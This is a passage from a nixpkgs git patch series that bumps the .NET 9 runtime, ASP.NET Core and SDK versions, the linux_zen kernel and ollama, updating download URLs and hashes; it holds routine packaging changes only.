+        hash = "sha512-QAJEJd7C4MErPoK6kjzmL7aTiRYSDXRhl3WwDyGzIEav5Me7jDo1OWAENnRL2jw/tB4FAl0k8ADclshPyZRrPw==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.5";
+  release_9_0 = "9.0.7";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.5";
+    version = "9.0.7";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm.tar.gz";
-        hash = "sha512-eIX4bcjP1VVwFzn0fhxHQKzPuyqu7vYpwp/XXCEcpVbt+HN8lCcYz4t8+oiGAN17qBk6K+G7vwdUztlS12IXyA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm.tar.gz";
+        hash = "sha512-dMQjUb5A3W8gZWzC9AUz1fRddZM4/EnNvWnYP7TPTkFX3Ek8CAg8SEdES8RiidAz+TyXgHL53nK+56VBJRq6DA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm64.tar.gz";
-        hash = "sha512-vR2xRaKbLu9EDroEkcW3C/KeZ5PrqrRT0pOb06wWH3wz4+Sx5lpzTdT9RBUTV7TBUKTPy1recknL8tAyZtazKw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm64.tar.gz";
+        hash = "sha512-ebKN8rxSLUe9DqP4tKqkRxAvkgGdA4ZwdD+7weazHdIGSZ/238LTFiPe22Sp4sojYIx+pyJfHwcXRd5yyfgb9A==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-x64.tar.gz";
-        hash = "sha512-tguLX6a0U4BlFmzRJm0HXGTEZLKBFZ2YvwMTK/NjR4zMEYWppRc4y+N9hnUoIPa+St1SCBIKgN+yv0qLWNIsxA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-x64.tar.gz";
+        hash = "sha512-sXXU0FePn11zXVne8/REWUYu82tL0H2coO2YU79C2Qx7rOGV/yZKnc9t1NbUUshwWQhRRiaPzjVA7Vjq85Yp6w==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm.tar.gz";
-        hash = "sha512-YryhSVOANUVOUhIuUGVy3SbtE7Nwfsd9zArXqzntONdpMXBnbjjuvOslKei1avpYePHAh087DYOR7AF9Jjhnrw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm.tar.gz";
+        hash = "sha512-NJd8TzThH1Kr3A5I8E3JWrDRvf1kHdQKTFOQwJDSQuxF7VCvsXYTn87WpaU0ayU0X9+r/x6kOLhZS1JpLxSjrQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm64.tar.gz";
-        hash = "sha512-EuBQLBGHmpPlpWjRm0o7UKCWQluSRyDP3E0s5TI0URhULqLdycxAn507cG9srClSr/o9JTF8vyQL1p1DFZ4c6w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm64.tar.gz";
+        hash = "sha512-1La1Q5lX9q0xwfiT4+dbToy7Py8dmn+iGukimuZSX8+Y1kO+pMuOeNscUJ49t1t4axI5/S3vIyjplUGisE5XqQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-x64.tar.gz";
-        hash = "sha512-iA1sUWr0bdoGhsDlalXK1djDS/48rNvuaKnSGl/56e6TpsQn7wqr1MRauVqncu3JuJkn840HYZ22IZyT5vbkOw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-x64.tar.gz";
+        hash = "sha512-rH/FG4C8uSwoIlIIOEksyQjAjQYBFILbOHdtaqxEIASvEKULrOJeLdmGxDC2HKzcGIyqHnJ8WCHO7maaC8sOlQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-arm64.tar.gz";
-        hash = "sha512-t8U4cBgq0tJOBSfDvtbUYmdrOuFfqE45fuaMhLp6IrqnJVrfaBZvQclyE3gWnGOGTcL90HozqvAWwjqHoWjOxQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-arm64.tar.gz";
+        hash = "sha512-A2Zf9tvfeAW/3rSrm51R8a4fqG5cyKQtPvqPiNFAK+J9Z9F4ihplnMQnrzQX2P1XLg2YUcBNSyzDdOJoKxIgOQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-x64.tar.gz";
-        hash = "sha512-Zimt0BcbjwVBVbcLw7jcbOmfHZXGtlVoJWQcDophzagfIdB7x6p9mT/1H5VE72maJ+yhL9LV7rRnI63i/Sb5mg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-x64.tar.gz";
+        hash = "sha512-aHivNpxydhhA7fLc1m1Yz0zdvKYYyfvXI6bW04Gc+sYVCo1yyZ93ESm1TC/z5v8lgFyI5w5d7zAeJChFi370Rg==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.5";
+    version = "9.0.7";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm.tar.gz";
-        hash = "sha512-AK62AMDFfFA0gGXYWM2F7GW3K7HBN4VD+RCPPNK18z1S8/A04UL0XpLHbBceMwkMJUTjZh0B6o8OK7IPEdW5lA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm.tar.gz";
+        hash = "sha512-hdyrtE15/rPwIuZXM7XDsUQWn/y6uWVFgLp6HvvxRY2qkxY5Wm29nMHaw5s066OSnmOhzshPtuVmrREBH63SNA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm64.tar.gz";
-        hash = "sha512-/9f20Wu6ohSUtxtpLFSl45jzHPYAhw4CgjS9B2EsttQ2dMY3H6hHC9fxG0CmhEPSLjmoQVfKuOFvUsXFzu47gw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm64.tar.gz";
+        hash = "sha512-5c/znYwk0eEUEG6lFWPwxkBUgmiJjoNJow1D8G0ix3WV4Gcl4oBzeT3QI7YSrxFYEjRZBuJszix4jwavYT1CUg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-x64.tar.gz";
-        hash = "sha512-Ap8d9YDEfyGq7zykDlwfuOVIVJeNE/6IVw33w0CEmf8LnblsSSwD7NtDqCqiTbvoFJHegRkTWSrGKsWN7pdbDg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-x64.tar.gz";
+        hash = "sha512-4nO1kq6eHHXpHOO+b08tIxQydpABQeKcZz1GSQEY0BFfbRlormz+1ZjKMA/oibog+gYHh+u1QDCEM1gKPGxc2A==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm.tar.gz";
-        hash = "sha512-zOCaJMC5hw4yk4mrKq4uduwiu3g4ZUhQqxe1aVH7oAsVygaS42PNXh5dENHh31poVH08IWFDa4VweNAYK+/SKg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm.tar.gz";
+        hash = "sha512-/LZMWeR3TNJw2Fbn4FalAjVnyEBI8BJUBGt3ZLanCNWCxK1Uj7XSMexLCzZp6+nOatJNbnrGlRtQtJAHuOuuoQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm64.tar.gz";
-        hash = "sha512-3Umzt+5BW+Vm10qpn151lJ9k5wFA1NEOHu01SPU4LmJdXhfps7Qa5WQykhXjwWghEKwXMvMT8rOpDAh/elo5TQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm64.tar.gz";
+        hash = "sha512-9cJCVscL9qQS8iEY6EEp74EKY3hxWeNP4MjSH7vB++0jqBa6lXxlNUbowhUr7KKmpEGTlJwOh9a2pkUdr/s77g==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-x64.tar.gz";
-        hash = "sha512-gaJt2RlTpHQgi0tDz0F0RC6flQJDfyV+Zuzv5Pm5ujzPWziZ2qwGHjoKzBQdW+IHwD4rERNvR5GykRw+8+JIiQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-x64.tar.gz";
+        hash = "sha512-B0CcgI2pzRmmTlJeYSm8P43k7zKzCHAel6ixQweB7bP4Y7Ds6a+tBIhyce4zIXEA9Rn5bYn+2UIAsGESrPrESg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-arm64.tar.gz";
-        hash = "sha512-EqHeE9GnLC5sUZjoOheOG5Mlx8Ropzh8XIopsIVxYL5ROVFgI0hc6RCOJukaNfqCUqjywNWdRpGxzkbWaq2lfw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-arm64.tar.gz";
+        hash = "sha512-DesjrHFNrWm/fQxn5CUyVtCEWIG4BcyLnG8gUSg9X5u7AA02MFhSPc5Mc2HCtGABaoZbbWuqWEPJJjWR1TnrIA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-x64.tar.gz";
-        hash = "sha512-iz6NtMTvr5StbZRi1KcD9ZusOQuRd4d5nX+L55EHmK3ISpaDzanv6/s5ontBpTDptaCC3dGf2IT0PRZ5RsfMRA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-x64.tar.gz";
+        hash = "sha512-cOtHKrJPOKam6TBmHgmsZjXdoM8FSJkEDCXPMzLyTxy7PuwZ4c/PIhS0ZtAA9t3H1JRIpsYQbDtw/Qv3Bj9ubQ==";
       };
     };
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.106";
+    version = "9.0.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm.tar.gz";
-        hash = "sha512-IxjIV4THukOiQ+D1Jix4zCmEqV/O74t4VQNYU9nHtCC362gcjfiiOWmSbWZSxpN8+xscKWHgoVXG8UUwIkC00w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm.tar.gz";
+        hash = "sha512-FliKnG0DCOC2kqy4VHZMQvGuldzdpDebRKLZPIlwxcl0W0b7QITuwpYeknqloxI7fdO1RtAP14epsGza6/mG/w==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm64.tar.gz";
-        hash = "sha512-GAY+1Tnvz5emgms6NnuSV0M4Zj6BXkx60nOhdSSnq1411AdZb1zWscCjfmlbF6kVYgwURcqJu4UasP80rMo09Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm64.tar.gz";
+        hash = "sha512-laP4pmKWsjrs2GyiluK9FHzzluL2p7bGvnlbcN8kEdYWPfFeKKa7JiSOILYZwXlN3Fux39Lwp9Xh5YqdLUU5gg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-x64.tar.gz";
-        hash = "sha512-+XfJCl5Ww9t7fU4jhEzbSW7pZr0xrWP4uENjp+/yij+xQQk1A4G9g23bxn1nUPP33VVHHkxdALAhQ0F0GFb7LQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-x64.tar.gz";
+        hash = "sha512-jC2YjpmLkGxxaEy+muycvytlyzHtjD6xWm5l+WGwMfrroy1xmX9Q1W4E5vAIH4YEgHItwWk8awFVQ+thrNtYdg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm.tar.gz";
-        hash = "sha512-LJqqzcQ+Lai8ZNtRe0q0Dzh/kSky3Cbpn0Mzi//SzthnRyXtGF5gqzF48OTnI+xfwpd09iszes1HUhvzia4Wzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm.tar.gz";
+        hash = "sha512-Qa5oViep0n/EsZom8OdgEVOEkDq7LjkZxPgCe6PnWotANLLpl1Zfd5nq4ZOFED/aHhMbI8F2oWBXiLvL31/BEQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm64.tar.gz";
-        hash = "sha512-g00TYlXiwiDnwDJ7xH6JMmtX4DUrarAau6Bzy9pNTSkzy8auREDyuZEaUq1dBbwPf/s255D56kVhVn3T4ivVFA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-L8eGZ6/7dXpwcXWjsMVXmF4s6TCnUD9KqE8gsILZiGo1oPDfVLoZAteLAtYY+3yImdxOqZaY6tQ8fMVlz1X/2A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-x64.tar.gz";
-        hash = "sha512-KPWtrtyl37HAElwyN4lIXJclkaZcvVGPtdlR1zEx3h56kv8JcTYieI0CrPeJBvp0ElOMbH6bPEv2cV9klf+CbA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-x64.tar.gz";
+        hash = "sha512-CmB51ISh0QT2+vBf7OJTUOnBi0lNy6M4aNkpTHwubJNuehnogsZadXezZ4xCHkDftpHqlQSmfWWqjVuJK5cxjA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-arm64.tar.gz";
-        hash = "sha512-2145z/0yvpm5oO4oxu3pBjcYAzhpNwHRGnAtBW2v9QW9gtTnyPDLNB4g+gK5dlYS6ogIr0DaPrxqFs1tP8HqPg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-arm64.tar.gz";
+        hash = "sha512-EeZLhqfvjyPAsLdoE1f//OjirZo42SgDeKYbnxUlssN1QTcM1VmL3iu8EkUftbnzklHF7LIORgbBNDSYu+MHEA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-x64.tar.gz";
-        hash = "sha512-wTKDAvkLLY0SOqCyfiCFcd17LMIwTgexqZe8BmRMXqMLsdCJ/A0/FO+kH/TQm5FA1Yqo/TtqGYeXXVbnUL2oDQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-x64.tar.gz";
+        hash = "sha512-knxa6JTbG9pShc3eoC9zzVWtPuSfE0iqFeMoiWOxymlQEvzlH8f6DCV0Tvty+c8Rzc9nqBzZ4EAI+N3gg7zfYg==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/9/deps.json b/pkgs/development/compilers/dotnet/9/deps.json
index 2bfe37308154..55735dea2e4a 100644
--- a/pkgs/development/compilers/dotnet/9/deps.json
+++ b/pkgs/development/compilers/dotnet/9/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "76e7e5b92a854cf89db0e556f7763469b5f327ed9e8f76d43b369d59065c8a5e",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.5/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "4ce29622cf3c75525187a4c1eedda32f35b60f35f7452913bd6c02c67acb2d9a",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.7/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "7b7427ed10a6631ebfe6239bf781dc858c238220abf552e425809deffe1042a6",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.5/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "0eb52b06e67cfe50299af66fd3954726559868e2fb7a875f079d815c189a389b",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.7/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
-    "hash": "sha256-wL3+auDk8zqepncYjoGV3Ygf356iJFBofS4bSs1cTa8=",
+    "hash": "sha256-SJCRMyjgP5W+YVQ5MRoZQNKjfFcMKAcmbwpa2v4zMeA=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.5/runtime.linux-x64.microsoft.netcore.ilasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.7/runtime.linux-x64.microsoft.netcore.ilasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
-    "hash": "sha256-1NiRpV72L8i23u//VwAx5bwgm5655OghHzvNDcxpk20=",
+    "hash": "sha256-bqyQXLB5v/npVNE2sN1IJYwCqbUr/WwA5dtHgoNc34Q=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.5/runtime.linux-x64.microsoft.netcore.ildasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.7/runtime.linux-x64.microsoft.netcore.ildasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "e36cfc873fef8d0fbbb11f5f6ff7f9aeb118158d2d210d36ad8cf0633ea1d2ea",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.5/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "24f452593a4c3a1f8aca710937d8c63b1d114433087e24d6770ed1162ae4ed7c",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.7/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "1d0bccf90f6e412a53d19b2563156a1506e33875f4913a171ffe4a1700d59435",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.5/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "f50ea5214b70b79ce38d24882869e9d233d4bd2f8524e6651e022536f00209b9",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.7/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "fb041ea38aaa471c244a22d1e53d0237227fd22bb5f2359c19f35c763cbfb735",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.5/runtime.osx-x64.microsoft.netcore.ilasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "ef1609bc2c37a7e110366244b1ec08f72f8fbd8f2782c28a7c8b4f58dfcf5d26",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.7/runtime.osx-x64.microsoft.netcore.ilasm.9.0.7.nupkg",
+    "version": "9.0.7"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "9cf31529a9e903281d7c7ea17cb99cd4b5011dabc65f78cd224d66daf570bbab",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.5/runtime.osx-x64.microsoft.netcore.ildasm.9.0.5.nupkg",
-    "version": "9.0.5"
+    "sha256": "16ffb179352b142a8fd39fca13b0ed0240673208bcd6e2dcc19db26e93634b91",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.7/runtime.osx-x64.microsoft.netcore.ildasm.9.0.7.nupkg",
+    "version": "9.0.7"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/9/release-info.json b/pkgs/development/compilers/dotnet/9/release-info.json
index 7ed8811d305a..d67e1f4da129 100644
--- a/pkgs/development/compilers/dotnet/9/release-info.json
+++ b/pkgs/development/compilers/dotnet/9/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-9oGCuV+kQe+2Oypxyj+YSYtmTo2BlkaQzk7E+FWYGkQ=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.106-servicing.25230.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-z45Rk63ad5VL5pslOUktewJQOHYLQlOgz/ZiT9v/UNo="
+  "tarballHash": "sha256-Qv3+NzOISj9s6ztCj/NGzLkvlQEMRH4n87Fk9wFFcww=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.108-servicing.25317.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-l3OJuH6nFSoun5uU0dIhumtP25QjKbE/qeb+F/K81M0="
 }
diff --git a/pkgs/development/compilers/dotnet/9/release.json b/pkgs/development/compilers/dotnet/9/release.json
index 13305a8e6a09..05a9b704456a 100644
--- a/pkgs/development/compilers/dotnet/9/release.json
+++ b/pkgs/development/compilers/dotnet/9/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "9.0.7",
+  "release": "9.0.8",
   "channel": "9.0",
-  "tag": "v9.0.7",
-  "sdkVersion": "9.0.108",
-  "runtimeVersion": "9.0.7",
-  "aspNetCoreVersion": "9.0.7",
+  "tag": "v9.0.109",
+  "sdkVersion": "9.0.109",
+  "runtimeVersion": "9.0.8",
+  "aspNetCoreVersion": "9.0.8",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "2d8506e0fc69ec3d8e92eb3090e18fdb5f8636f5"
+  "sourceVersion": "a1e39f97e51f1d381385d2dc6c94b368ea333784"
 }

From 8452b40e025b8a40696f63e8a7832581767732f4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 07:16:50 +0000
Subject: [PATCH 3393/4511] linuxKernel.kernels.linux_zen: 6.15.8 -> 6.16

(cherry picked from commit d2e0ffe571c58c3cf1017d0e5216576bc38f74f6)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 8f8f5e9e2958..e29052ff9988 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.15.8"; # zen
+      version = "6.16"; # zen
       suffix = "zen1"; # zen
-      sha256 = "010k50c9anjbcrwh9cgc6wn91hh3xa1x3mpxbaa2x1v8f5773vd4"; # zen
+      sha256 = "1ckysnshlrhfycz0yppna6jrnvgc9k49wr5srvl15wj1hck84p7d"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 946f9447c7ccb0671eb0e4fe11e61ee2c05605ab Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 20:24:06 +0000
Subject: [PATCH 3394/4511] ollama: 0.9.6 -> 0.10.0

(cherry picked from commit 72dee395b1dcb9a42dfc72ada88378e210fde1e0)
---
 pkgs/by-name/ol/ollama/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 4f6524dca320..2d0fa1dd0028 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -116,17 +116,17 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.6";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
